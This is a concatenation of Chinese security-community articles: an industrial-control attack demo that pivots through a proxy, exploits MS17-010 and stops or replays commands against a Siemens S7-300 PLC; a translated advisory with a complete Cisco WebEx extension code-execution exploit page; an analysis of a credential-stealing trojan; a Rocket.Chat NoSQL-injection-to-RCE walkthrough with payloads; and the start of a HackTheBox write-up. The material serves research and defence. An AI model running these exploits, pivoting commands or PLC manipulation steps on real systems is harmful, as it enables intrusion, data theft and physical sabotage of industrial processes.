upload /root/nps/linux_amd64_client.tar.gz /tmp/nps.tar.gz
在linux主机中执行解压
回到nps后台中，展开客户端，复制客户端命令
在msf meterpreter 中执行下面命令让客户端连上服务器
execute -f /tmp/npc -a ‘-server=192.168.14.4:8024 -vkey=0fr8k4rsh8tjl8ut
-type=tcp’
在后台管理处看到客户端状态是在线即成功连上nps服务器。
接着在后台管理处添加一个socks代理，输入刚才创建的客户端id，端口为1086
此时可以通过本地的1086端口的socks代理访问192.168.90.0 网段的主机。在msf中输入下面命令设置socks代理。
setg proxies socks5:127.0.0.1:1086
### 5.永恒之蓝横向移动
设置好到进入192.168.90.0 网段的socks代理后，可以使用msf对该网段进行扫描，先扫描永恒之蓝漏洞
发现 192.168.90.60 主机存在 ms17-010漏洞，接下来使用 ms17-010
漏洞利用模块进行攻击。由于使用了socks代理，设置反向连接payload时，要设置ReverseAllowProxy
成功获取存在永恒之蓝漏洞主机的权限。
### 6.信息收集-发现TIA项目
通过查看用户的桌面，发现了Sand_V16目录中存在ap16后缀名的文件。
这是西门子组态软件 TIA Portal （博途）的项目文件，是用于对西门子可编程逻辑控制器（programmable logic
controller，简称PLC）进行编程控制的软件。
先下载该项目到本地，使用下面命令下载
download c:/users/admin/desktop/Sand_V16.zip
### 7.查看TIA项目
下载完项目后，复制出到一个 windows10系统中解压。在本地电脑上装一个TIA Portal V16，然后打开该项目，点击项目视图
可以看到该项目中有两个PLC，一个是S7-300，一个是S7-1200。本演示中主要介绍S7-300
### 8.西门子S7-300远程启停漏洞利用
西门子S7-300是西门子的一款可编程逻辑控制器，可编程控制器由内部CPU，指令及资料存储器、输入输出单元、电源模块、数字模拟等单元所模块化组合成。PLC可接收（输入）经过CPU处理后，发送（输出）多种类型的电气或电子信号，并使用他们来控制或监督几乎所有种类的机械与电气系统。
西门子S7-300 存在远程启停，数据重放等漏洞，可以在不进行身份认证的情况下直接对PLC进行启动、关闭和修改数据。
先获取该S7-300的IP，在项目中展开S7-300，双击设备组态，在属性中的以太网地址中查看IP地址，发现IP为192.168.30.60。
接着在获取权限的windows内网机器上ping 192.168.30.60。发现可以ping通
S7-300的端口一般是102端口，先使用msf的端口转发功能，把192.168.30.60 的102端口转发到kali攻击机上，方便访问
portfwd add -l 102 -r 192.168.30.60 -p 102
使用 nmap扫描本地102端口，发现已经转发成功了
接着在kali 攻击机上下载 isf 攻击工具，里面包含了s7-300的攻击模块，当然也可以使用其他脚本也行
运行完后，可以看到PLC进入了stop状态，也就是PLC停止了。STOP状态灯亮起
启动plc
set command 1
run
下面是PLC控制的沙盘在PLC被关闭后的效果图
直接关闭PLC，会导致正在运行的工业系统停止运行，从而导致严重的后果。可以想象一下正在运行的列车失去了控制是什么后果。
### 9.西门子S7-300重放攻击
西门子S7-300
没有防重放机制，只要使用wireshark等抓包工具获取了某个功能的数据包，即可重放该数据。例如Q0.6是控制沙盘中信大厦通电的输出，现在要对它单独进行修改，而不影响其它输出。可以在博途对Q0.6进行强制修改，然后抓取该数据包，进行重放即可。
在S7-300的强制表中点击监控变量，输入Q0.6，右键强制修改为0
使用wireshark抓取该数据包，发送的是S7COMM协议，该协议的详细介绍网上比较多资料，这里只对要修改的地方进行介绍，下图中
Force代表开启强制修改，Address to force 为要修改的地址，图中是Q0.6，其中Startaddress代表Q0.6的0，
Bitposition 代表Q0.6的6。修改这两个数据可以修改任意输出，如Q1.1。其中的Value to
force是要修改的值，在Data字段中为00，也就是要修改成0。
第一次开启强制认证时，会在PLC中创建一个对象，并且返回该对象的引用ID，下图中的Force请求响应中的Sequence
number字段为4，代表创建的对象引用ID为4，后续修改强制表的时候会用到该ID。
继续强制Q0.6的值为1，可以看到发送的请求变成了Replace job，也就是修改对象，其中的 reference sequence number 为4
，也就是修改了前面 Force 请求中创建的对象。修改的地址也是Q0.6，值为1
然后右键点击停止强制，发送了Delete job 请求，也就是删除了该强制表对象
其中的 Job reference number 为4。删除后，所有强制修改失效。
经过分析后，可以编写一个python脚本来对PLC的值进行修改。在对应的协议数据中复制tcp
payload为hexstream，然后进行相应的修改并重放即可实现对指定值的修改。
下面编写一个模块脚本来对PLC的输出值进行强制修改
代码中，在Force请求发送后，会记录reference number 用于后续的修改
把脚本放在exploits/plcs/siemens/ 目录中
通过下面命令来使用
发送前S7-300的Q0.6是通电的，中信大厦正常运行
发送后S7-300的Q0.6关闭，中信大厦关闭。
直接修改PLC的关键状态，可能会导致严重的后果，如震网攻击中通过改变离心机转数来破坏伊朗的核设备。
## 三、 总结
本次攻防演示中，通过模拟外网攻击进入内网环境，对控制工业设备的PLC进行了攻击。整体的攻击过程为：外网web服务器-》内网西门子工程师站-》西门子S7-300
PLC。其主要目的是针对工控安全感兴趣的爱好者学习，相互交流。
大禹工控安全实验室
由中国网安·广州三零卫士成立，汇聚国内多名漏洞挖掘、二进制逆向、安全分析、渗透测试、自动化工程师等安全专家组建而成，专注于工业控制系统安全、工业物联网安全、工业威胁情报安全等安全领域，大禹工控安全实验室始终坚持在工业控制系统安全领域进行探索和研究
IRTeam工控安全红队
属于民间工业安全组织，由经验丰富的工控安全研究员组成，一直在学习和研究最新的工控漏洞及漏洞利用和防护，同时开发了Kali
ICS工控渗透平台能够提供全方位的工控漏洞挖掘和渗透测试。在工控的协议安全、HMI安全、工业云安全等领域有着丰富的经验和成果 | 社区文章 |
# 【漏洞预警】Cisco WebEx奇葩漏洞： 浏览器插件存在任意远程代码执行漏洞（含EXP）
|
##### 译文声明
本文是翻译文章，文章来源：chromium
原文地址：<https://bugs.chromium.org/p/project-zero/issues/detail?id=1096>
译文仅供参考，具体内容表达以及含义原文为准。
Cisco的WebEx
extension（jlhmfgmfgeifomenelglieieghnjghma）拥有约2,000万活跃用户，并且它也是思科Webex视频会议系统重要的组成部分。
该扩展适用于包含magic模式“cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html”的任何URL，可以从扩展清单中提取。
请注意，该模式内嵌在iframe中，因此不需要用户有更多的交互，只需要访问网站就可以了。
该扩展使用nativeMessaging，所以这个magic字符串可以让任何网站执行任意代码！
这个扩展使用的协议很复杂，使用CustomEvent()对象，在Web页面中和本机代码之间传递JSON消息。
在初始化的过程中，网站使用该扩展发起请求打开一个端口进行通信，如下所示：
document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }})); // token can be any string
然后消息可以通过 "message" 事件传递到native code。
注意，这里不能是MessageEvent()对象，并且不能使用postMessage API，它们必须是CustomEvent()对象。
有几种不同的消息类型，例如“hello”，“disconnect”等。最有趣的是“launch_meeting”类型：
document.dispatchEvent(new CustomEvent("message", { detail: {
message: JSON.stringify(msg),
message_type: "launch_meeting",
timestamp: (new Date()).toUTCString(),
token: "token"
}
}));
使用该扩展进行视频会议的过程中，我dump了初始化消息：
> message.message
"{"DocshowVersion": "1.0",
"FilterSecParameters": "clientparam;clientparam_value",
"GpcProductRoot": "WebEx",
"GpcMovingInSubdir": "Wanta",
"GpcProductVersion": "T30_MC",
"GpcUpgradeManagement": "false",
"GpcCompatibleDesktopClients": "",
"enableQuickLaunch": "1",
"GpcProductDescription": "V2ViRXg=",
"GpcUnpackName": "atgpcdec",
"JMTSignificantFileList": "atgpcext.dll;atmccli.dll;comui.dll;webexmgr.dll;plugin-config.xml;atmgr.exe;ieatgpc.dll;atkbctl.dll;atwbxui15.dll;atcarmcl.dll;attp.dll;atarm.dll;wbxcrypt.dll;mmssl32.dll;libeay32.dll;ssleay32.dll;atmemmgr.dll;wcldll.dll;uilibres.dll;pfwres.dll;wbxtrace.dll;mcres.dll;atresec.dll;atrestc.dll;mfs.dll;mutilpd.dll;wseclient.dll;mticket.dll;wsertp.dll",
"jmtclicklog": "1484862376664",
"GpcExtName": "atgpcext",
"GpcUnpackVersion": "27, 17, 2016, 501",
"GpcExtVersion": "3015, 0, 2016, 1117",
"GpcUrlRoot": "https://join-test.webex.com/client/WBXclient-T30L10NSP15EP1-10007/webex/self",
"GpcComponentName": "YXRtY2NsaS5ETEw=",
"GpcCompressMethod": "7z",
"GpcActiveIniSection": "V2ViRXhfVg==",
"GpcSupportPageUrl": "",
"GpcIniFileName": "Z3BjLnBocD9wbW9kdWxlcz0lN0NNQ19TVEQlN0NDaGF0JTdDUG9sbGluZyU3Q05vdGUlN0NWaWRlb1NoYXJlJTdDV2ViZXhfUkElN0NBUyU3Q1BEJk9TPVZUJnJlcGxhY2VLZXk9VklTVEElN0NTU0YmTE49JmJhc2ljbmFtZT1XZWJFeF9WJk9TX0JpdD0zMg==
...
有大量的属性，很多属性都有可能存在代码执行的问题，下面这些是我挑出来的一些：
"GpcComponentName": "YXRtY2NsaS5ETEw=",
"GpcInitCall": "c3pDb29raWU9SW5pdENvbnRyb2woJUhXTkQpO05hbWVWYWx1ZShMb2dnaW5nVVJMX05hbWUsTG9nZ2luZ1VSTCk7TmFtZVZhbHVlKE1lZXRpbmdJRF9OYW1lLE1lZXRpbmdJRCk7TmFtZVZhbHVlKFNlc3Npb25JRF9OYW1lLFNlc3Npb25JRCk7TmFtZVZhbHVlKEdwY0luaUZpbGVOYW1lX05hbWUsR3BjSW5pRmlsZU5hbWUpO05hbWVWYWx1ZShHcGNVcmxSb290X05hbWUsR3BjVXJsUm9vdCk7TmFtZVZhbHVlKEdwY0V4dFZlcnNpb25fTmFtZSxHcGNFeHRWZXJzaW9uKTtOYW1lVmFsdWUoR3BjVW5wYWNrVmVyc2lvbl9OYW1lLEdwY1VucGFja1ZlcnNpb24pO05hbWVWYWx1ZShHcGNQcm9kdWN0Um9vdF9OYW1lLEdwY1Byb2R1Y3RSb290KTtOYW1lVmFsdWUobG9jYWxyb290c2VjdGlvbnZlcl9OYW1lLGxvY2Fscm9vdHNlY3Rpb252ZXIpO05hbWVWYWx1ZShSZWdUeXBlX05hbWUsUmVnVHlwZSk7TmFtZVZhbHVlKEdwY1Byb2dyZXNzQmFyVGl0bGVfTmFtZSxHcGNQcm9ncmVzc0JhclRpdGxlKTtOYW1lVmFsdWUoR3BjTWVzc2FnZVRpdGxlX05hbWUsR3BjTWVzc2FnZVRpdGxlKTtOYW1lVmFsdWUoZG93bmxvYWRsb2NhbHNldHRpbmdfTmFtZSxkb3dubG9hZGxvY2Fsc2V0dGluZyk7TmFtZVZhbHVlKHByb2R1Y3RuYW1lX05hbWUscHJvZHVjdG5hbWUpO05hbWVWYWx1ZShTRlN1cHBvcnRpbmdfTmFtZSxTRlN1cHBvcnRpbmdfVmFsdWUpO05hbWVWYWx1ZShNZWV0aW5nUmFuZG9tX05hbWUsTWVldGluZ1JhbmRvbSk7TmFtZVZhbHVlKGNsaWVudHBhcmFtX05hbWUsY2xpZW50cGFyYW1fVmFsdWUpO0ZpbmlzaENhbGwoc3pDb29raWUpOw==",
If we decode those strings, we get:
GpcComponentName: "atmccli.DLL"
GpcInitCall: "szCookie=InitControl(%HWND);NameValue(LoggingURL_Name,LoggingURL);NameValue(MeetingID_Name,MeetingID);NameValue(SessionID_Name,SessionID);NameValue(GpcIniFileName_Name,GpcIniFileName);NameValue(GpcUrlRoot_Name,GpcUrlRoot);NameValue(GpcExtVersion_Name,GpcExtVersion);NameValue(GpcUnpackVersion_Name,GpcUnpackVersion);NameValue(GpcProductRoot_Name,GpcProductRoot);NameValue(localrootsectionver_Name,localrootsectionver);NameValue(RegType_Name,RegType);NameValue(GpcProgressBarTitle_Name,GpcProgressBarTitle);NameValue(GpcMessageTitle_Name,GpcMessageTitle);NameValue(downloadlocalsetting_Name,downloadlocalsetting);NameValue(productname_Name,productname);NameValue(SFSupporting_Name,SFSupporting_Value);NameValue(MeetingRandom_Name,MeetingRandom);NameValue(clientparam_Name,clientparam_Value);FinishCall(szCookie);"
将这些字符串解码，如下所示：
GpcComponentName: "atmccli.DLL"
GpcInitCall: "szCookie=InitControl(%HWND);NameValue(LoggingURL_Name,LoggingURL);NameValue(MeetingID_Name,MeetingID);NameValue(SessionID_Name,SessionID);NameValue(GpcIniFileName_Name,GpcIniFileName);NameValue(GpcUrlRoot_Name,GpcUrlRoot);NameValue(GpcExtVersion_Name,GpcExtVersion);NameValue(GpcUnpackVersion_Name,GpcUnpackVersion);NameValue(GpcProductRoot_Name,GpcProductRoot);NameValue(localrootsectionver_Name,localrootsectionver);NameValue(RegType_Name,RegType);NameValue(GpcProgressBarTitle_Name,GpcProgressBarTitle);NameValue(GpcMessageTitle_Name,GpcMessageTitle);NameValue(downloadlocalsetting_Name,downloadlocalsetting);NameValue(productname_Name,productname);NameValue(SFSupporting_Name,SFSupporting_Value);NameValue(MeetingRandom_Name,MeetingRandom);NameValue(clientparam_Name,clientparam_Value);FinishCall(szCookie);"
这看起来像某种奇怪的脚本语言。 'HWND'的存在表明这是与native code交互，如果我dump atmccli.DLL的导出：
$ dumpbin /nologo /exports atmccli.dll
Dump of file atmccli.dll
ordinal hint RVA name
2 2 0001CC11 ExitControl
24 3 0001CC83 FinishCall
1 4 0001D2F9 InitControl <-- 23 5 0001D556 NameValue
...
看起来像在该脚本语言中调用的函数。 是否可以在这里找一些突破口？
我注意到，他们提供一个CRT（微软的C
Runtime，包含像printf，malloc等标准例程）的副本，所以我试图调用标准_wsystem()routime（像system()，除了WCHAR字符串），像这样
：
var msg = {
GpcProductRoot: "WebEx",
GpcMovingInSubdir: "Wanta",
GpcProductVersion: "T30_MC",
GpcUnpackName: "atgpcdec",
GpcExtName: "atgpcext",
GpcUnpackVersion: "27, 17, 2016, 501",
GpcExtVersion: "3015, 0, 2016, 1117",
GpcUrlRoot: "http://127.0.0.1/",
GpcComponentName: btoa("MSVCR100.DLL"),
GpcSuppressInstallation: btoa("True"),
GpcFullPage: "True",
GpcInitCall: btoa("_wsystem(ExploitShellCommand);"),
ExploitShellCommand: btoa("calc.exe"),
}
难以置信，居然执行成功了！
**完整EXP**
****
<html>
<head>
<title>Cisco WebEx Exploit</title>
<script>
var msg = {
GpcProductRoot: "WebEx",
GpcMovingInSubdir: "Wanta",
GpcProductVersion: "T30_MC",
GpcUnpackName: "atgpcdec",
GpcExtName: "atgpcext",
GpcUnpackVersion: "27, 17, 2016, 501",
GpcExtVersion: "3015, 0, 2016, 1117",
GpcUrlRoot: "http://127.0.0.1/",
GpcComponentName: btoa("MSVCR100.DLL"),
GpcSuppressInstallation: btoa("True"),
GpcFullPage: "True",
GpcInitCall: btoa("_wsystem(ExploitShellCommand);"),
ExploitShellCommand: btoa("calc.exe"),
}
function runcode()
{
if (!document.location.pathname.endsWith("cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html")) {
alert("document /must/ be named cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html");
return;
}
if (!document.location.protocol.endsWith("https:")) {
alert("document /must/ be served over https");
return;
}
document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }}));
document.dispatchEvent(new CustomEvent("message", { detail: {
message: JSON.stringify(msg),
message_type: "launch_meeting",
timestamp: (new Date()).toUTCString(),
token: "token"
}
}));
}
</script>
</head>
<body onload="runcode()">
<h1>Running exploit...</h1>
</body>
</html>
作者上传了一个测试页面到如下地址，这个地址是安全的，没有其他非法代码执行，仅会弹出一个计算器。
<https://lock.cmpxchg8b.com/ieXohz9t/>
如果需要测试，你仅需提供姓名、email，不需要注册即可在下面中测试：
[https://www.webex.com/test-meeting.html](https://www.webex.com/test-meeting.html)
该漏洞超过90天漏洞公开原则期限，官方尚未提供补丁，故细节得以公开。
**安全客建议**
更新官方1.0.3版本：
<https://chrome.google.com/webstore/detail/cisco-webex-extension/jlhmfgmfgeifomenelglieieghnjghma?hl=zh-CN>
但由于安全社区对该补丁的有效性尚存一定的疑虑，我们建议安装了Webex的用户，(hao)暂(hao)时(guo)禁(nian)用(bie)其(wan)浏(dian)览(nao)器(jiu)插(xing)件。 | 社区文章 |
# Cyborg窃密木马及其工具和流程分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景介绍
日前收到一封带附件的邮件，该附件没有VT的上传记录，在自己搭的沙箱里测试，显示超时，而且虚拟机动态行为监测有异常。所以决定对样本进行分析。
分析完毕后，发现这是一个前期免杀工作比较充分，而Payload实体功能却不甚完善的恶意代码。所以Po出分析过程以及部分与这个样本有关联的信息，仅供各位读者参考。
## 0x01 样本分析
样本进程树：
Order Updates.exe
----CDS.exe
--------Crypted.exe
------------PasswordFox.exe
------------Iepv.exe
------------mailpv.exe
### 1\. Order Updates.exe
文件名称: Order Updates.exe
文件大小: 3,550 KB (3,635,200 字节)
文件时间: 2018-07-15 11:00:19
时 间 戳:
文件 MD5: 4323C548B9AF8FA95F006954F5DE98A5
通过IDA进行分析，发现该样本是一个自解压文件，将文件后缀修改为rar，想法得到印证。
动态调试样本时确认样本不带参数创建子进程CDS.exe。
### 2\. CDS.exe
文件名称: CDS.exe
文件大小: 396 KB (406,016 字节)
文件时间: 2018-07-16 10:20:29
时 间 戳: 54DA7209->2015-02-11 05:03:05
文件 MD5: 424BF196DEAEB4DDCAFB78E137FA560A
最新VT查杀结果如下：
静态分析Main函数，我们可以看到CDS.exe样本是一个标准的MFC应用程序，
该样本的主要功能为：将自解压文件释放的c.dat读取并解密，写入crypted.exe。Cds.exe
通过CDocument、CFile和CDocmanager类提供的各种方法对文件进行操作。
动态调试时，确认程序调用了lua，加载了很多加密和散列算法。
加密算法导入完毕后，该样本选择了Blowfish算法对文件进行解密。并首先完成字符串解密，获取加密过的文件名和要释放的文件名：
样本提供了两种解密数据的保存方式，取决于传进的字符串指针是否相同。
下图为解密前后的缓冲区的内容。
解密完毕后会将数据写入crypted.exe，然后通过设置EOF的方式删除最后8个字节，读取fs.setting文件，获得“false”的配置信息后，创建子进程。
### 3\. crypted.exe
文件名称: crypted.exe
文件大小: 366 KB (374,784 字节)
文件时间: 2018-07-16 11:35:20
时 间 戳: 5B4AC69F->2018-07-15 11:59:27
文件 MD5: 3678C20BC19439B0A07378D6B0405ABB
从分析结果来看，crypted.exe 是一个由c#编写的典型窃密木马。它主要有以下功能模块：
**通信模块**
代码如下所示：默认SMTP通信，还支持ftp和php post的方法。
**键盘记录模块**
设置键盘消息钩子，监控击键操作。
**密码窃取模块**
窃取多种主机软件密码，还包括各种游戏、付费软件的CD-Key
**屏幕信息窃取模块**
定时截取屏幕，窃取主机信息
另外，程序还会收集主机信息，剪贴板内容等隐私信息。
**动态调试**
下图为样本的main函数：
代码显示，程序运行时首先会弹窗，同时这个样本还有很未完成开发的类，所以我认为该程序尚处于开发和调试过程。
程序会创建键盘消息钩子，记录击键信息，并创建几个线程，执行Cyber.X， Cyber.Y， Cyber.Z，
Cyber.Srceeny和Cyber.C方法。
方法和功能对应如下表：
方法 功能
Cyber.X 获取窗口信息并回传
Cyber.Y 获取主机名并回传
Cyber.Z 窃取密码并回传
Cyber.Srceeny 截屏并回传
Cyber.C 获取剪贴板信息并回传
回传信息的方法是：调用通信模块（transfer函数），并默认通过邮件协议发送图片内容，调试时的局部变量如下所示：
需要重点说的是密码窃取模块的内容，从代码定义的类名中，我们可以大致了解样本要窃取信息的对象：
在上述窃取对象中，firefox密码，邮件客户端密码和IE浏览器密码是通过调用工具窃取得到的，具体代码如下：
其他两个工具的释放和调用方法同上图相类似。
其他密码的窃取则多是通过解析存放密码的文件或注册表键值得到的：
至此样本行为分析完毕。
## 0x02 关联分析和总结
从样本分析结果来看，该样本母体为一个自解压文件，可以将任意需要的组件打包压缩，所以如果发现类似样本在VT上没有查询记录，也不足为奇。CDS.exe等组件则是一个可以灵活配置解压对象和解压算法的工具，只需要调换payload，修改配置文件即可在该层次上完成免杀操作。因为解密操作完成前的payload，此时可以是任意文件格式，无法被杀毒软件识别。虽然此次解密后的payload能在落地运行的第一时间被部分杀软查杀，但是分析结果表明，这是一个功能仍不完善的不完全版本。
通过对CDS.exe以及payload的特征进行关联分析，找到了一些样本：
通过样本关联分析和其他的情报碰撞，发现这样一个情况：mail.2sqpa.com这个邮件服务器在7月中旬以前被攻击者较为频繁地使用，但是近期有类似行为的恶意代码已经开始使用其他邮件地址和通信方式传递信息，而且丰富功能的同时，也已经开始做混淆和免杀处理。所以我认为这应该是一个活动时间较短的恶意代码家族，根据根据样本注释代码中的“Cyborg”字样，决定沿用作者对该软件的这一命名。 | 社区文章 |
**作者：0x4qE@知道创宇404实验室**
**时间：2021年7月28日**
## 0x01 简述
[Rocket.Chat](https://github.com/RocketChat/Rocket.Chat) 是一个开源的完全可定制的通信平台，由
Javascript 开发，适用于具有高标准数据保护的组织。
2021年3月19日，该漏洞在 HackerOne 被提出，于2021年4月14日被官方修复。该漏洞主要是因为 Mongodb 的查询语句是类 JSON
形式的，如`{"_id":"1"}`。由于对用户的输入没有进行严格的检查，攻击者可以通过将查询语句从原来的字符串变为恶意的对象，例如`{"_id":{"$ne":1}}`即可查询
_id 值不等于 1 的数据。
### 影响版本
3.12.1<= Rocket.Chat <=3.13.2
### 漏洞影响面
通过ZoomEye网络空间搜索引擎，搜索ZoomEye dork数据挖掘语法查看漏洞公网资产影响面。
[zoomeye dork](https://www.zoomeye.org/searchResult?q=app%3A%22Rocket.Chat%22)
关键词：`app:"Rocket.Chat"`
输入`CVE`编号：`CVE-2021-22911`也可以关联出`ZoomEye dork`
[漏洞影响面全球视角可视化](https://www.zoomeye.org/globalmap/app%3A%22Rocket.Chat%22%2Fall%2F0/all/0)
## 0x02 复现
复现环境为 [Rocket.Chat
3.12.1](https://github.com/RocketChat/Rocket.Chat/tree/f2817c056f9c063dd5f596446ef2e6c61634233b)。
使用 [pocsuite3](https://github.com/knownsec/pocsuite3) 编写 PoC，利用 verify 模式验证。
## 0x03 漏洞分析
该漏洞包含了两处不同的注入，漏洞细节可以在[这篇文章](https://blog.sonarsource.com/nosql-injections-in-rocket-chat)中找到，同时还可以找到文章作者给出的 [exp](https://www.exploit-db.com/exploits/50108)。第一处在[server/methods/getPasswordPolicy.js](https://github.com/RocketChat/Rocket.Chat/blob/f2817c056f9c063dd5f596446ef2e6c61634233b/server/methods/getPasswordPolicy.js#L7-L15)，通过
NoSQL 注入来泄露重置密码的 token。
getPasswordPolicy(params) {
const user = Users.findOne({ 'services.password.reset.token': params.token });
if (!user && !Meteor.userId()) {
throw new Meteor.Error('error-invalid-user', 'Invalid user', {
method: 'getPasswordPolicy',
});
}
return passwordPolicy.getPasswordPolicy();
}
这里的 params 是用户传入的参数，正常来说，params.token 是一串随机字符串，但在这里可以传一个包含正则表达式的查询语句
`{'$regex':'^A'}`，例如下面这个例子意为查找一处 token 是以大写字母 A 为开头的数据。通过这个漏洞就可以逐字符的爆破修改密码所需的
token。
Users.findOne({
'services.password.reset.token': {
'$regex': '^A'
}
})
第二处漏洞在
[app/api/server/v1/users.js](https://github.com/RocketChat/Rocket.Chat/blob/f2817c056f9c063dd5f596446ef2e6c61634233b/app/api/server/v1/users.js#L223-L246)，需要登陆后的用户才能访问，通过这处注入攻击者可以获得包括
admin 在内的所有用户的信息。注入点代码如下：
API.v1.addRoute('users.list', { authRequired: true }, {
get() {
// ...
const { sort, fields, query } = this.parseJsonQuery();
const users = Users.find(query, {/*...*/}).fetch();
return API.v1.success({
users,
// ...
});
},
});
这处注入需要了解的知识点是，[mongo 中的 $where
语句](https://docs.mongodb.com/manual/reference/operator/query/where/)，根据文档，查询语句以这种形式展现
`{ $where: <string|JavaScript Code> }`，因此攻击者可以注入 JavaScript
代码，通过将搜索的结果以报错的形式输出。光说可能难以理解，通过一个例子就能很好地说明了。
攻击者可以传入这样的 query：`{"$where":"this.username==='admin' && (()=>{ throw
this.secret })()"}`，就会构成下面这样的查询语句，意为查询 username 为 admin 的用户并将他的信息通过报错输出。
Users.find(
{
"$where":"this.username==='admin' && (()=>{ throw JSON.stringify(this) })()"
},
{/*...*/}
).fetch();
通过这个漏洞，就可以获得 admin 的修改密码的 token 和 2FA 的密钥，即可修改 admin 的密码，达到了提权的目的。Rocket.Chat
还为管理员账户提供了创建 web hooks 的功能，这个功能用到了 Node.js 的 vm 模块，而 vm
模块可以通过简单的原型链操作被逃逸，达到任意命令执行的效果。至此，我们了解到了这一个命令执行漏洞的所有细节，接下来就通过分析漏洞发现者提供的 exp
来讲一下漏洞利用的过程。
## 0x04 漏洞利用
这部分内容基于[漏洞发现者给出的 exp](https://www.exploit-db.com/exploits/50108)，并结合我在复现过程中遇到的问题提出改进意见。
# Getting Low Priv user
print(f"[+] Resetting {lowprivmail} password")
## Sending Reset Mail
forgotpassword(lowprivmail,target)
## Getting reset token through blind nosql injection
token = resettoken(target)
## Changing Password
changingpassword(target,token)
首先通过 getPasswordPolicy() 处的 token 泄露漏洞，修改普通用户的密码。然而需要注意的是，修改密码的 token 长度为 43
个字符，这个爆破的工作量是很大的，且耗时非常长。因此在获取普通用户权限这一步，可以直接通过注册功能完成，而不需要爆破验证的
token。试想若是攻击目标关闭了注册功能，那意味着我们无法获取到已注册用户的信息，也就无计可施了。
# Privilege Escalation to admin
## Getting secret for 2fa
secret = twofactor(target,lowprivmail)
第二步是获取管理员账号的 2FA 密钥，其中的 twofactor() 利用了第二处漏洞。
def twofactor(url,email):
# Authenticating
# ...
print(f"[+] Succesfully authenticated as {email}")
# Getting 2fa code
cookies = {'rc_uid': userid,'rc_token': token}
headers={'X-User-Id': userid,'X-Auth-Token': token}
payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\'admin\'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}'
r = requests.get(url+payload,cookies=cookies,headers=headers)
code = r.text[46:98]
在这个函数中直接默认了管理员账号的 username 为 "admin"，但是经过测试，并不是所有可攻击的目标都以 "admin" 作为
username，那么就需要一种方法来获取管理员账号的 username。观察 mongodb 中存储的用户数据：
{
"_id" : "x",
...
"services" : {
"password" : {
...
},
...,
"emails" : [ {
"address" : "[email protected]",
"verified" : true
} ],
"roles" : [ "admin" ],
"name" : "username",
...
}
每一个用户字段中都有一条`{"roles":[""]}`，通过`{"$where":"this.roles.indexOf('admin')>=0"}`来查询管理员账号的信息，随后便可获取管理员的
username。
第三步是修改管理员账号的密码，以获得 admin 的权限。
## Sending Reset mail
print(f"[+] Resetting {adminmail} password")
forgotpassword(adminmail,target)
## Getting admin reset token through nosql injection authenticated
token = admin_token(target,lowprivmail)
## Resetting Password
code = oathtool.generate_otp(secret)
changingadminpassword(target,token,code)
其中 forgotpassword() 这一步不可缺少，因为每次通过 reset token 来修改密码以后，后台会自动删除该
token。在本地测试的时候，因为没有 forgotpassword() 这一步，所以每次执行过 changingadminpassword()
以后，都会因为缺少 reset token 导致下一次 PoC 执行失败。通过断点调试找到了问题所在。
在`.meteor/local/build/programs/server/packages/accounts-password.js line 1016`
resetPassword: function () {
// ...
try {
// Update the user record by:
// - Changing the password to the new one
// - Forgetting about the reset token that was just used
// - Verifying their email, since they got the password reset via email.
const affectedRecords = Meteor.users.update({
'services.password.reset.token': token
}, {
$unset: {
'services.password.reset': 1,
}
});
}
}
每一次执行 resetPassword() 以后，都会清空 token。同样在这个文件中，可以找到用于生成 reset.token 的函数
generateResetToken()。在此文件中共有三次出现，其中一次是函数定义，两次是调用，分别于第 898 行和第 938 行被
sendResetPasswordEmail() 和 sendEnrollmentEmail() 调用。
Accounts.sendResetPasswordEmail = (userId, email, extraTokenData) => {
const {/*...*/} = Accounts.generateResetToken(userId, email, 'resetPassword', extraTokenData);
sendResetPasswordEmail() 在申请重置密码的时候被调用，sendEnrollmentEmail()
在用户刚注册的时候被调用。因此，想要获得 reset.token 的值，就要先发起一个重置密码的请求，让后台发送一封重置密码的邮件。
最后一步就是执行任意命令了。
## Authenticating and triggering rce
while True:
cmd = input("CMD:> ")
code = oathtool.generate_otp(secret)
rce(target,code,cmd)
由于命令执行没有回显，因此我的做法是在本地监听一个端口起一个 HTTP 服务器，然后执行 `wget HTTP服务器地址/${random_str}`，如果
HTTP 服务器收到了路由为 `/${random_str}`的请求，则证明该服务存在漏洞。
## 0x05 后记
这次复现经过了挺长的时间，主要是由于这个漏洞利用的条件比较苛刻，需要满足各种限制条件，比如需要开放注册功能、管理员账号开启了
2FA、被攻击目标的版本满足要求。不过通过耐心的分析，把复现过程中遇到的问题一一解决，我还是很高兴的。
## 0x06 防护方案
1、更新 Rocket.Chat 至官方发布的最新版。
## 0x07 相关链接
1、[Rocket.Chat](https://github.com/RocketChat/Rocket.Chat)
2、[pocsuite3](https://github.com/knownsec/pocsuite3)
3、[NoSQL Injections in Rocket.Chat 3.12.1: How A Small Leak Grounds A
Rocket](https://blog.sonarsource.com/nosql-injections-in-rocket-chat)
4、[Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated)
(2)](https://www.exploit-db.com/exploits/50108)
5、[mongo 文档](https://docs.mongodb.com/manual/reference/operator/query/where/)
* * * | 社区文章 |
## 前言
hackthebox是一个在线的渗透平台，通过渗透获取邀请码，即可在这个平台上注册一个账号。
该平台的在线靶机一共20台，每周会下线一台靶机，如果靶机下线了呢，分数就会全部清空。而成功渗透靶机就能获取一定的分数，分数够了就能提升等级。
在线的靶机都是没有writeup的，所以你的等级很大程度可以证明你的渗透实战能力。
该平台一共7个用户等级，刚注册是等级Noob：
1. Noob 无知者
2. script kiddle 脚本小子
3. hacker 黑客
4. Pro hacker 专业黑客
5. Elite Hacker 精英黑客
6. Guru 大师
7. Omniscient （最高等级）无所不知者
靶机的分数为20-50分
1. 20分-easy 简单
2. 30分-medium 中等难度
3. 40分-hard 困难的
4. 50分-Insane 疯狂的
下面介绍关于过期的机器 **kotarak** 的渗透过程，难度等级为hard。
## 扫描
用masscan与Nmap工具分别输入以下指令:
masscan -p1-65535,U:1-65535 10.10.10.55 --rate=1000 -e tun0 -p1-65535,U:1-65535 > ports
